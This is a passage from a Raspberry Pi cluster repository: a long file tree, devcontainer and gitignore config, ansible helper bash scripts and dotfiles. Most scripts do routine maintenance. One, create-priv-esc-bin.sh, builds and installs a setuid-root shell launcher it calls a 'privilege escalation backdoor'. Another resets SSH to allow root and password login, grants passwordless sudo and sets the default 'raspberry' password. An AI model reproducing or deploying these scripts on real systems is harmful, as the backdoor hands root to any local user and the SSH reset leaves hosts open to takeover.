├── .devcontainer
├── Dockerfile
└── devcontainer.json
├── .gitignore
├── .vscode
└── settings.json
├── ansible
├── ansible.cfg
├── files
│ ├── bash-script
│ │ ├── check-syshealth.sh
│ │ ├── create-priv-esc-bin.sh
│ │ ├── default-sshd-login.sh
│ │ ├── disable-swap.sh
│ │ ├── fix_apt.sh
│ │ ├── free_memcache.sh
│ │ ├── led-blink.sh
│ │ ├── readme.md
│ │ ├── rpi-temp-check.sh
│ │ └── speedtest_100mbit.sh
│ ├── dotfiles
│ │ ├── htoprc
│ │ ├── screenrc
│ │ └── vimrc
│ ├── readme.md
│ ├── reboot.c
│ │ ├── install.sh
│ │ └── reboot_setuid.c
│ ├── rpi-releases.csv
│ ├── ssl-ca
│ │ ├── bc.conf
│ │ └── gen.sh
│ ├── test-rpideployer.py
│ └── welcome.c
│ │ ├── makefile
│ │ └── welcome.c
├── playbook-rpi-all-maint.yml
├── playbook-rpi-all-ssh.yml
├── playbook-rpi-compute-k3s.yml
├── playbook-rpi-compute.yml
├── playbook-rpi-deployer.yml
├── playbook-rpi-lanservices.yml
├── playbook-rpi-single-role.yml
├── readme.md
├── requirements.txt
├── roles
│ ├── ansible-post-role
│ │ └── tasks
│ │ │ └── main.yml
│ ├── ansible-pre-role
│ │ └── tasks
│ │ │ └── main.yml
│ ├── base-system
│ │ ├── .ansible-lint
│ │ ├── .yamllint
│ │ ├── files
│ │ │ ├── etc
│ │ │ │ ├── apt
│ │ │ │ │ └── apt.conf.d
│ │ │ │ │ │ └── 00local-rpi-cluster
│ │ │ │ └── issue
│ │ │ ├── rpihw.fact
│ │ │ └── scripts
│ │ │ │ └── usb-guard.sh
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── molecule
│ │ │ └── default
│ │ │ │ ├── Dockerfile.j2
│ │ │ │ ├── INSTALL.rst
│ │ │ │ ├── molecule.yml
│ │ │ │ ├── playbook.yml
│ │ │ │ └── tests
│ │ │ │ └── test_default.py
│ │ ├── tasks
│ │ │ ├── apt-packages.yml
│ │ │ ├── apt-repo.yml
│ │ │ ├── cleanup.yml
│ │ │ ├── filesfolders.yml
│ │ │ ├── hostsname.yml
│ │ │ ├── kernelmod.yml
│ │ │ ├── localization.yml
│ │ │ ├── main.yml
│ │ │ ├── sslcert.yml
│ │ │ └── sysctl.yml
│ │ ├── templates
│ │ │ ├── etc
│ │ │ │ └── rc_local.j2
│ │ │ └── rpihost.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── busybox-httpd
│ │ ├── files
│ │ │ ├── bbhttpd.service
│ │ │ ├── chroot_bb.sh
│ │ │ ├── glinder1.png
│ │ │ ├── hello
│ │ │ └── httpd.conf
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── readme.md
│ │ ├── tasks
│ │ │ └── main.yml
│ │ ├── templates
│ │ │ └── ansible-index.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── dhcp-client
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── dhcp-client.j2
│ ├── dhcp-server
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ ├── templates
│ │ │ ├── dhcp-server-default.j2
│ │ │ └── dhcpd.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── distcc
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── distcc_conf.j2
│ │ │ ├── distcc_kern.j2
│ │ │ ├── distcc_test.j2
│ │ │ └── hostscompute.j2
│ ├── dns-server
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── reame.md
│ │ ├── tasks
│ │ │ ├── local-config.yml
│ │ │ ├── main.yml
│ │ │ └── master-zone.yml
│ │ ├── templates
│ │ │ ├── db_rpi.j2
│ │ │ ├── dns_tests_bats.j2
│ │ │ ├── etc
│ │ │ │ ├── bind
│ │ │ │ │ ├── bind_keys.j2
│ │ │ │ │ ├── named_conf_default_zones.j2
│ │ │ │ │ ├── named_conf_local.j2
│ │ │ │ │ └── named_conf_options.j2
│ │ │ │ └── default
│ │ │ │ │ └── bind.j2
│ │ │ └── resolv_conf.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── docker
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── files
│ │ │ ├── docker.asc
│ │ │ ├── remove_docker.sh
│ │ │ └── rm_all_images.sh
│ │ ├── readme.md
│ │ ├── tasks
│ │ │ ├── docker_hello_world.yml
│ │ │ ├── main.yml
│ │ │ └── manage_tools.yml
│ │ └── vars
│ │ │ └── default
│ ├── ftp-server
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ ├── templates
│ │ │ ├── default.j2
│ │ │ └── welcome.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── golang
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── build_go_hello.j2
│ ├── group-compute
│ │ ├── files
│ │ │ └── rpi-compute.service
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ ├── compute-security.yml
│ │ │ ├── main.yml
│ │ │ └── systemd-cust.yml
│ │ └── templates
│ │ │ └── compute-boot.j2
│ ├── group-deployer-ssh-client
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── readme.md
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── etc
│ │ │ ├── ethers.j2
│ │ │ └── hosts.j2
│ │ │ └── ssh_client_conf.j2
│ ├── group-deployer
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── files
│ │ │ ├── renew_ssh_priv_key.sh
│ │ │ └── rpi-deployer.service
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ ├── dl_packages.yml
│ │ │ ├── main.yml
│ │ │ └── systemd-cust.yml
│ │ ├── templates
│ │ │ ├── deployer-boot.j2
│ │ │ └── ramstore.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── group-lanservices
│ │ ├── files
│ │ │ └── rpi-lanservices.service
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ ├── cron.yml
│ │ │ ├── lanservices-security.yml
│ │ │ ├── main.yml
│ │ │ └── systemd-cust.yml
│ │ └── templates
│ │ │ ├── etc
│ │ │ ├── ethers.j2
│ │ │ └── security
│ │ │ │ └── limits_conf.j2
│ │ │ ├── lanservices-boot.j2
│ │ │ ├── lansrvmain-cron-daily.j2
│ │ │ └── lansrvmain-cron-hourly.j2
│ ├── haveged
│ │ └── tasks
│ │ │ └── main.yml
│ ├── hostsfile
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── readme.md
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── etc-hosts.j2
│ ├── hugo
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── vars
│ │ │ └── main.yml
│ ├── i3-wm
│ │ └── tasks
│ │ │ └── main.yml
│ ├── k3s
│ │ ├── files
│ │ │ └── install_k3s.sh
│ │ ├── tasks
│ │ │ ├── main.yml
│ │ │ ├── server.yml
│ │ │ └── worker.yml
│ │ └── templates
│ │ │ └── k3s_join_master_sh.j2
│ ├── keepalived
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── etc
│ │ │ └── keepalived
│ │ │ └── keepalived_conf.j2
│ ├── mpich
│ │ ├── files
│ │ │ ├── mpi_sample.c
│ │ │ └── mpich_keygen_sh.j2
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── readme.md
│ │ ├── tasks
│ │ │ ├── main.yml
│ │ │ └── mpi-test-code.yml
│ │ └── templates
│ │ │ └── mpich_test_sh.j2
│ ├── nfs-client
│ │ └── tasks
│ │ │ └── main.yml
│ ├── nfs-server
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── exports.j2
│ │ │ └── test_file.j2
│ ├── nodejs
│ │ ├── files
│ │ │ ├── setup_12.x.sh
│ │ │ └── setup_9.x.sh
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── vars
│ │ │ └── main.yml
│ ├── ntp-client
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── ntp_client.j2
│ ├── ntp-server
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── ntp_server.j2
│ ├── puppet-agent
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── files
│ │ │ ├── puppet.service
│ │ │ └── remove_puppet.sh
│ │ ├── meta
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── readme.md
│ ├── reboot
│ │ ├── files
│ │ │ └── check_rebooted.sh
│ │ └── tasks
│ │ │ └── main.yml
│ ├── redis
│ │ └── tasks
│ │ │ └── main.yml
│ ├── rpilog
│ │ ├── files
│ │ │ ├── 22-rpicluster.conf
│ │ │ └── test-rpilog.sh
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── rpilogro.j2
│ ├── ssh-server
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── auth_principals
│ │ │ └── pi.j2
│ │ │ ├── avahi_ssh_service.j2
│ │ │ └── etc
│ │ │ ├── motd.j2
│ │ │ └── ssh
│ │ │ ├── ssh_config.j2
│ │ │ └── sshd_config.j2
│ ├── sysstat
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── default.j2
│ │ │ └── sysstat.j2
│ ├── ufw
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ ├── compute.yml
│ │ │ ├── deployer.yml
│ │ │ ├── lanservice_main.yml
│ │ │ └── main.yml
│ ├── upgrades
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ ├── main.yml
│ │ │ ├── package_apt.yml
│ │ │ ├── package_gem.yml
│ │ │ └── package_pip.yml
│ │ └── vars
│ │ │ └── main.yml
│ ├── uptimed
│ │ ├── handlers
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── userac
│ │ └── tasks
│ │ │ ├── keys.yml
│ │ │ └── main.yml
│ └── yarn
│ │ ├── files
│ │ └── yarnkey.asc
│ │ ├── meta
│ │ └── main.yml
│ │ └── tasks
│ │ └── main.yml
├── setup
│ ├── defaults
│ │ ├── group_vars
│ │ │ ├── all
│ │ │ │ └── vars
│ │ │ ├── compute
│ │ │ │ ├── vars
│ │ │ │ └── vault
│ │ │ ├── deploy
│ │ │ │ └── vars
│ │ │ └── lanservices
│ │ │ │ ├── vars
│ │ │ │ └── vault
│ │ ├── host_vars
│ │ │ ├── alpha
│ │ │ │ └── vars
│ │ │ ├── beta
│ │ │ │ └── vars
│ │ │ └── psi
│ │ │ │ ├── vars
│ │ │ │ └── vault
│ │ └── inventory
│ │ │ ├── compute
│ │ │ └── hosts
│ │ │ ├── deploy
│ │ │ └── hosts
│ │ │ └── lanservices
│ │ │ └── hosts
│ ├── install-deploy-tools.sh
│ ├── readme.md
│ ├── setup-conf.sh
│ └── setup-keys.sh
├── site.yml
├── ssh_to_host.sh
├── tasks.py
└── vault_pass.sh
├── code
├── hugo-site
│ ├── archetypes
│ │ └── default.md
│ ├── config.toml
│ ├── content
│ │ ├── about
│ │ │ └── index.html
│ │ ├── compute
│ │ │ └── index.html
│ │ ├── index.md
│ │ ├── lanservice
│ │ │ └── index.html
│ │ ├── reports
│ │ │ └── index.html
│ │ └── serverspec
│ │ │ ├── index.html
│ │ │ └── reports
│ │ │ └── index.md
│ ├── i18n
│ │ ├── default.toml
│ │ └── en.toml
│ ├── package.json
│ ├── readme.md
│ ├── static
│ │ ├── .npmignore
│ │ ├── HELP-US-OUT.txt
│ │ ├── README.md
│ │ ├── css
│ │ │ ├── bootstrap-grid.css
│ │ │ ├── bootstrap-grid.css.map
│ │ │ ├── bootstrap-grid.min.css
│ │ │ ├── bootstrap-grid.min.css.map
│ │ │ ├── bootstrap-reboot.css
│ │ │ ├── bootstrap-reboot.css.map
│ │ │ ├── bootstrap-reboot.min.css
│ │ │ ├── bootstrap-reboot.min.css.map
│ │ │ ├── bootstrap.css
│ │ │ ├── bootstrap.css.map
│ │ │ ├── bootstrap.min.css
│ │ │ ├── bootstrap.min.css.map
│ │ │ ├── font-awesome.css
│ │ │ ├── font-awesome.css.map
│ │ │ ├── font-awesome.min.css
│ │ │ ├── tether-theme-arrows-dark.css
│ │ │ ├── tether-theme-arrows-dark.min.css
│ │ │ ├── tether-theme-arrows.css
│ │ │ ├── tether-theme-arrows.min.css
│ │ │ ├── tether-theme-basic.css
│ │ │ ├── tether-theme-basic.min.css
│ │ │ ├── tether.css
│ │ │ └── tether.min.css
│ │ ├── fonts
│ │ │ ├── FontAwesome.otf
│ │ │ ├── fontawesome-webfont.eot
│ │ │ ├── fontawesome-webfont.svg
│ │ │ ├── fontawesome-webfont.ttf
│ │ │ ├── fontawesome-webfont.woff
│ │ │ └── fontawesome-webfont.woff2
│ │ ├── img
│ │ │ └── rasp-logo.png
│ │ ├── js
│ │ │ ├── bootstrap.js
│ │ │ ├── bootstrap.min.js
│ │ │ ├── core.js
│ │ │ ├── css
│ │ │ │ ├── tether-theme-arrows-dark.css
│ │ │ │ ├── tether-theme-arrows-dark.min.css
│ │ │ │ ├── tether-theme-arrows.css
│ │ │ │ ├── tether-theme-arrows.min.css
│ │ │ │ ├── tether-theme-basic.css
│ │ │ │ ├── tether-theme-basic.min.css
│ │ │ │ ├── tether.css
│ │ │ │ └── tether.min.css
│ │ │ ├── jquery.js
│ │ │ ├── jquery.min.js
│ │ │ ├── jquery.min.map
│ │ │ ├── jquery.slim.js
│ │ │ ├── jquery.slim.min.js
│ │ │ ├── jquery.slim.min.map
│ │ │ ├── js
│ │ │ │ ├── tether.js
│ │ │ │ └── tether.min.js
│ │ │ ├── tether.js
│ │ │ └── tether.min.js
│ │ ├── less
│ │ │ ├── animated.less
│ │ │ ├── bordered-pulled.less
│ │ │ ├── core.less
│ │ │ ├── fixed-width.less
│ │ │ ├── font-awesome.less
│ │ │ ├── icons.less
│ │ │ ├── larger.less
│ │ │ ├── list.less
│ │ │ ├── mixins.less
│ │ │ ├── path.less
│ │ │ ├── rotated-flipped.less
│ │ │ ├── screen-reader.less
│ │ │ ├── stacked.less
│ │ │ └── variables.less
│ │ ├── package.json
│ │ └── scss
│ │ │ ├── _animated.scss
│ │ │ ├── _bordered-pulled.scss
│ │ │ ├── _core.scss
│ │ │ ├── _fixed-width.scss
│ │ │ ├── _icons.scss
│ │ │ ├── _larger.scss
│ │ │ ├── _list.scss
│ │ │ ├── _mixins.scss
│ │ │ ├── _path.scss
│ │ │ ├── _rotated-flipped.scss
│ │ │ ├── _screen-reader.scss
│ │ │ ├── _stacked.scss
│ │ │ ├── _variables.scss
│ │ │ └── font-awesome.scss
│ ├── tasks.py
│ ├── themes
│ │ └── berrycluster
│ │ │ ├── LICENSE.md
│ │ │ ├── archetypes
│ │ │ └── default.md
│ │ │ ├── layouts
│ │ │ ├── 404.html
│ │ │ ├── _default
│ │ │ │ └── single.html
│ │ │ ├── partials
│ │ │ │ ├── footer.html
│ │ │ │ └── header.html
│ │ │ └── post
│ │ │ │ ├── list.html
│ │ │ │ └── single.html
│ │ │ ├── static
│ │ │ ├── css
│ │ │ │ └── site.css
│ │ │ └── js
│ │ │ │ └── site_bad.js
│ │ │ └── theme.toml
│ └── yarn.lock
├── readme.md
├── rpi-py-api
│ ├── Dockerfile-pyapp
│ ├── appsrc
│ │ ├── omegapyapi.py
│ │ ├── requirements.txt
│ │ ├── start.sh
│ │ ├── static
│ │ │ ├── style.css
│ │ │ └── testfile.txt
│ │ └── templates
│ │ │ ├── about.html
│ │ │ ├── base.html
│ │ │ └── hello.html
│ ├── build_image_tar.sh
│ ├── docker-compose.yml
│ ├── nginx.conf.d
│ │ └── rpiweb.conf
│ ├── nginx.logs
│ │ ├── access.log
│ │ └── error.log
│ ├── readme.md
│ └── web
│ │ └── pub
│ │ ├── .foobar
│ │ ├── error.html
│ │ ├── index_default.html
│ │ └── rasp-logo.png
└── sensehat
│ ├── sensehat-temps.py
│ ├── sensehat-welcome.py
│ └── setup.sh
├── doc
├── pictures
│ ├── ara.png
│ └── pi_towers1.jpg
├── readme.md
└── security.md
├── readme.md
└── serverspec
├── Gemfile
├── Gemfile.lock
├── Rakefile
├── index.erb
├── install-serverspec.sh
├── inventory.yml
├── readme.md
├── run.sh
├── rvm-installer
├── rvm-installer.asc
└── spec
├── base
├── apt_spec.rb
├── haveged_spec.rb
├── health_spec.rb
├── ioc_spec.rb
├── linux_spec.rb
├── logs_spec.rb
├── network_spec.rb
├── ntp_spec.rb
├── piclustfolder_spec.rb
├── rpicluster_spec.rb
└── sshd_spec.rb
├── compute
├── compute_spec.rb
├── computenet_spec.rb
├── distcc_spec.rb
├── docker_spec.rb
├── fw_spec.rb
├── kube_spec.rb
└── mpich_xxxx.xx
├── deployer
├── aptdep_spec.rb
├── deploy_spec.rb
├── deployfile_spec.rb
├── docker_spec.rb
├── nodes_spec.rb
├── redis_spec.rb
└── uptimed_spec.rb
├── lanservice
├── bbhttpd_spec.rb
├── bind_spec.rb
├── dhcpc_spec.rb
├── dhcpd_spec.rb
├── ftpd_spec.rb
├── fw_spec.rb
├── keepalived_spec.rb
├── lanservice_spec.rb
├── nettests_spec.rb
└── uptimed_spec.rb
└── spec_helper.rb
/.devcontainer/devcontainer.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "rpi_cluster Ansible",
3 | "dockerFile": "Dockerfile",
4 | "runArgs": [
5 | "-u", "vscode",
6 | "-v", "/var/run/docker.sock:/var/run/docker.sock"
7 | ],
8 | "settings": {
9 | "terminal.integrated.shell.linux": "/bin/bash",
10 | "remote.extensionKind": {
11 | "ms-azuretools.vscode-docker": "workspace"
12 | }
13 | },
14 | "postCreateCommand": "ansible --version",
15 | "extensions": [
16 | "vscoss.vscode-ansible",
17 | "redhat.vscode-yaml"
18 | ]
19 | }
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # ---- ignore ----
2 | #
3 | ignore_me/*
4 | nohup.out
5 | ansible/.pytest_cache/
6 | ansible/inventory/*
7 | ansible/group_vars/*
8 | ansible/host_vars/*
9 | ansible/artifacts/
10 | ansible/resources/_gen/
11 | #
12 | # ---- code ----
13 | #
14 | serverspec/reports/*
15 | code/hugo-site/public/*
16 | yarn-error.log
17 | node_modules/
18 | code/rpi-py-api/nginx.logs/error.log
19 | code/rpi-py-api/nginx.logs/access.log
20 | #
21 | # ---- python ----
22 | #
23 | .cache
24 | __pycache__/
25 | *.py[cod]
26 | *$py.class
27 | .Python
28 | *.pyc
29 | .env
30 | .venv
31 | env/
32 | venv/
33 | ENV/
34 | #
35 | # ---- Apple ----
36 | #
37 | *.DS_Store
38 | .AppleDouble
39 | .LSOverride
40 | # Icon must end with two \r
41 | Icon
42 | ._*
43 | .DocumentRevisions-V100
44 | .fseventsd
45 | .Spotlight-V100
46 | .TemporaryItems
47 | .Trashes
48 | .VolumeIcon.icns
49 | .com.apple.timemachine.donotpresent
50 | .AppleDB
51 | .AppleDesktop
52 | Network Trash Folder
53 | Temporary Items
54 | .apdisk
55 |
--------------------------------------------------------------------------------
/.vscode/settings.json:
--------------------------------------------------------------------------------
1 | {
2 | }
--------------------------------------------------------------------------------
/ansible/files/bash-script/create-priv-esc-bin.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # create a privilege escalation backdoor bin
4 | #
5 | # pi@psi:~ $ echo whoami | /usr/local/bin/beroot
6 | # root
7 |
8 | /usr/bin/sudo id | grep --quiet "uid=0(root)" || { echo "ERROR can not sudo"; exit 1; }
9 |
10 | where_gcc=$(which gcc || exit 1)
11 |
12 | TMPFILE="devtest.c"
13 | FILEDEST="/usr/local/bin/beroot"
14 | TMPDIR=$(mktemp -d)
15 | CURWD=$(pwd)
16 | cd $TMPDIR || exit 1;
17 |
18 | # create suid laucher c
19 | echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPFILE
20 |
21 | # compile
22 | $where_gcc $TMPFILE -o suid 2>/dev/null
23 |
24 | rm -f $TMPFILE
25 |
26 | sudo chown root:root suid
27 |
28 | sudo chmod 4777 suid
29 |
30 | sudo mv -v suid $FILEDEST
31 |
32 | # test
33 | echo 'whoami && hostname' | $FILEDEST
34 |
35 | cd $CURWD
36 |
37 | # clean up
38 | rm -rf -- $TMPDIR
--------------------------------------------------------------------------------
/ansible/files/bash-script/default-sshd-login.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Reset R-Pi password and sshd to default
3 |
4 | {
5 |
6 | if [[ root != "$(whoami)" ]]; then
7 | echo "Error: requires root";
8 | exit 1;
9 | fi
10 |
11 | echo "loading INSECURE defaults";
12 |
13 | rm -fv -- /home/pi/.ssh/*
14 | rm -fv -- /home/root/.ssh/*
15 |
16 | cat > /etc/ssh/sshd_config << EOF
17 | # sshd defaults
18 | Port 22
19 | ListenAddress 0.0.0.0
20 | Protocol 2
21 | HostKey /etc/ssh/ssh_host_rsa_key
22 | HostKey /etc/ssh/ssh_host_ecdsa_key
23 | HostKey /etc/ssh/ssh_host_ed25519_key
24 | SyslogFacility AUTH
25 | LogLevel INFO
26 | LoginGraceTime 120
27 | PermitRootLogin Yes
28 | StrictModes yes
29 | IgnoreRhosts yes
30 | PermitEmptyPasswords no
31 | ChallengeResponseAuthentication no
32 | PasswordAuthentication yes
33 | X11Forwarding no
34 | X11DisplayOffset 10
35 | PrintMotd no
36 | PrintLastLog no
37 | TCPKeepAlive yes
38 | AcceptEnv LANG LC_*
39 | Subsystem sftp /usr/lib/openssh/sftp-server
40 | UsePAM yes
41 | EOF
42 |
43 | systemctl restart ssh
44 | systemctl status ssh
45 |
46 | cat > /etc/sudoers.d/010_pi-nopasswd << EOF
47 | pi ALL=(ALL) NOPASSWD: ALL
48 | EOF
49 |
50 | echo "pi:raspberry" | chpasswd
51 |
52 | dpkg-reconfigure openssh-server
53 |
54 | echo "finished";
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/ansible/files/bash-script/disable-swap.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Disable systems Swap
3 |
4 | # log
5 | rpilogit () {
6 | echo -e "rpicluster: $1 \n";
7 | logger -t rpicluster "$1";
8 | }
9 |
10 | rpilogit "started disable-swap.sh";
11 |
12 | # test /usr/bin/sudo works OK
13 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1;
14 |
15 | /usr/bin/sudo dphys-swapfile swapoff
16 |
17 | /usr/bin/sudo dphys-swapfile uninstall
18 |
19 | /usr/bin/sudo update-rc.d dphys-swapfile remove
20 |
21 | touch -f /opt/cluster/data/swap_disabled
22 | echo "swap is off" > /opt/cluster/data/swap_disabled
23 |
24 | rpilogit "finished disable-swap.sh";
25 |
--------------------------------------------------------------------------------
/ansible/files/bash-script/fix_apt.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # try to fix a broken apt
3 |
4 | rpilogit () {
5 | echo -e "rpicluster: $1 \n";
6 | logger -t rpicluster "$1";
7 | }
8 |
9 | rpilogit "started fix_apt.sh";
10 |
11 | # test /usr/bin/sudo works OK
12 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1;
13 |
14 | # only removes files that cannot be downloaded anymore (obsolete)
15 | /usr/bin/sudo apt-get autoclean
16 | /usr/bin/sudo apt-get autoremove
17 | /usr/bin/sudo apt-get clean
18 |
19 | # resync package index
20 | /usr/bin/sudo apt-get update
21 | /usr/bin/sudo apt-get upgrade
22 |
23 | # update + upgrade
24 | /usr/bin/sudo apt-get dist-upgrade
25 | /usr/bin/sudo apt-get -f install
26 | /usr/bin/sudo dpkg --configure -a
27 |
28 | rpilogit "finished fix_apt.sh";
29 |
--------------------------------------------------------------------------------
/ansible/files/bash-script/free_memcache.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 | # Writing to drop_caches will cause the kernel to free pagecache, dentries and inodes.
4 | # This causes that memory to become free. non-destructive & safe for production
5 | #
6 | # ref: https://www.kernel.org/doc/Documentation/sysctl/vm.txt
7 |
8 | rpilogit () {
9 | echo -e "rpicluster: $1 \n";
10 | logger -t rpicluster "$1";
11 | }
12 |
13 | rpilogit "starting free_memcache.sh"
14 |
15 | freebefore=$(free -k | awk '/^Mem:/{print $4}')
16 |
17 | # test /usr/bin/sudo works OK
18 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1;
19 |
20 | # need to sync first
21 | /usr/bin/sudo sync
22 | /usr/bin/sudo bash -c 'echo 3 > /proc/sys/vm/drop_caches';
23 |
24 | freeafter=$(free -k | awk '/^Mem:/{print $4}')
25 |
26 | freekb=$(expr $freeafter - $freebefore)
27 | let freemb=($freekb/1024)
28 |
29 | rpilogit "freed $freekb kilobytes ($freemb MB)"
30 |
31 | rpilogit "finished free_memcache.sh"
32 |
--------------------------------------------------------------------------------
/ansible/files/bash-script/led-blink.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # R-Pi LED blink mode
3 |
4 | script_name=$(basename -- "$0")
5 |
6 | rpilogit () {
7 | echo -e "rpicluster: $script_name $1 \n";
8 | logger -t rpicluster "$script_name $1";
9 | }
10 |
11 | # test /usr/bin/sudo works OK
12 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1;
13 |
14 | rpilogit "starting";
15 |
16 |
17 | do_blinky_lights () {
18 | /usr/bin/sudo modprobe ledtrig_heartbeat
19 | /usr/bin/sudo sh -c "echo heartbeat >/sys/class/leds/led0/trigger"
20 | sleep 10;
21 | # return R-Pi LED to default trigger
22 | /usr/bin/sudo sh -c "echo mmc0 >/sys/class/leds/led0/trigger"
23 | }
24 |
25 | do_blinky_lights
26 |
27 | rpilogit "finished";
28 |
--------------------------------------------------------------------------------
/ansible/files/bash-script/readme.md:
--------------------------------------------------------------------------------
1 |
2 | misc bash scripts, these are copied to /opt/rpi_cluster/bin/ on each system.
3 |
4 | Add new files under the Ansible common role, in the defaults file.
5 |
--------------------------------------------------------------------------------
/ansible/files/bash-script/rpi-temp-check.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # max temp
4 | temp_max="55"
5 |
6 | # get temp
7 | temp_cur=$(/opt/vc/bin/vcgencmd measure_temp | cut -c 6-7)
8 |
9 | # check
10 | if [ $temp_max -gt $temp_cur ]; then
11 | echo "temp ok"
12 | true;
13 | else
14 | echo "too hot"
15 | false
16 | fi
17 |
--------------------------------------------------------------------------------
/ansible/files/bash-script/speedtest_100mbit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | rpilogit () {
4 | echo -e "rpicluster: $1 \n";
5 | logger -t rpicluster "$1";
6 | }
7 |
8 | rpilogit "running speedtest_100mbit.sh";
9 |
10 | # do not run this script as root
11 | if [[ root = "$(whoami)" ]]; then
12 | echo "ERROR: do not run as root";
13 | exit 1;
14 | fi
15 |
16 | /usr/bin/wget -q -O /dev/null -- http://cachefly.cachefly.net/100mb.test;
17 |
18 | rpilogit "finished speedtest_100mbit.sh";
19 |
--------------------------------------------------------------------------------
/ansible/files/dotfiles/htoprc:
--------------------------------------------------------------------------------
1 | # Beware! This file is rewritten by htop when settings are changed in the interface.
2 | # The parser is also very primitive, and not human-friendly.
3 | fields=0 48 17 18 38 39 40 2 46 47 49 1
4 | sort_key=46
5 | sort_direction=1
6 | hide_threads=0
7 | hide_kernel_threads=0
8 | hide_userland_threads=0
9 | shadow_other_users=0
10 | show_thread_names=1
11 | show_program_path=1
12 | highlight_base_name=1
13 | highlight_megabytes=1
14 | highlight_threads=1
15 | tree_view=1
16 | header_margin=0
17 | detailed_cpu_time=0
18 | cpu_count_from_zero=0
19 | update_process_names=0
20 | account_guest_in_cpu_meter=0
21 | color_scheme=0
22 | delay=15
23 | left_meters=AllCPUs Memory Swap
24 | left_meter_modes=1 1 1
25 | right_meters=Hostname Uptime Clock Tasks LoadAverage
26 | right_meter_modes=2 2 2 2 2
27 |
--------------------------------------------------------------------------------
/ansible/files/dotfiles/screenrc:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | startup_message off
3 | altscreen on
4 | term screen-256color
5 | bind ',' prev
6 | bind '.' next
7 |
8 | hardstatus alwayslastline
